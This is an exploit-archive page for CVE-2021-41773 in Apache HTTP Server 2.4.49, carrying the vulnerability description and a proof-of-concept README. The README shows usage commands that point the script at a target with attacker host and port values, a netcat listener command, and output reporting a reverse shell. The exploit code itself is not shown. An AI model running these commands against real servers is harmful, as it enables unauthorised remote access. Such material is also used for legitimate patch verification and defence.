Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-41773 PoC — Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49

Source
Associated Vulnerability
Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
Readme
# CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal & RCE
![Security](https://img.shields.io/badge/Security-Exploit-red)
![Platform](https://img.shields.io/badge/Platform-Linux-blue)
![Language](https://img.shields.io/badge/Language-Bash-green)

## 📖 Description
This is a proof-of-concept exploit for CVE-2021-41773, a path traversal and remote code execution vulnerability in Apache HTTP Server 2.4.49.

## Vulnerability Details
- **CVE**: CVE-2021-41773
- **Affected Version**: Apache HTTP Server 2.4.49
- **Vulnerability Type**: Path Traversal → Remote Code Execution

## 🚀 Usage

### Installation
```bash
git clone https://github.com/adrianmafandy/CVE-2021-41773
cd CVE-2021-41773
pip install requests
```
### Basic Usage
```bash
# Basic syntax
python3 exploit.py -t <TARGET-URL> -lh <LHOST> -lp <LPORT>

# Force exploitation even if vulnerability check fails
python3 exploit.py -t <TARGET-URL> -lh <LHOST> -lp <LPORT> -f
```
### Example
```bash
# Basic syntax
python3 exploit.py -t 192.168.1.100 -lh 10.0.0.5 -lp 1337

# Force exploitation even if vulnerability check fails
python3 exploit.py -t 192.168.1.100 -lh 10.0.0.5 -lp 1337 -f
```
### Setup Listener
Before running the exploit, set up a netcat listener:
```bash
nc -lvnp 4444
```
### Expected Output
```bash
$ python3 exploit.py -t 192.168.1.100 -lh 10.0.0.5 -lp 1337

     ______
    (_____ \
     _____) ) _ _ ____   ____ ___   ____
    |  ____/ | | |  _ \ / ___) _ \ / _  |
    | |    | | | | | | | |  | |_| ( (_| |
    |_|     \___/|_| |_|_|   \___/ \___ |
                                  (_____|

       Apache2 2.4.49 - CVE-2021-41773

   
[*] Checking if target is vulnerable...
[+] Target is VULNERABLE!
[*] Executing reverse shell payload...
[+] Reverse shell payload executed successfully!
[*] Check your listener
```
File Snapshot

[4.0K] /data/pocs/7561ce8a1a94939ede30552ef4fadebc4314d458 ├── [8.4K] exploit.py └── [1.8K] README.md 1 directory, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →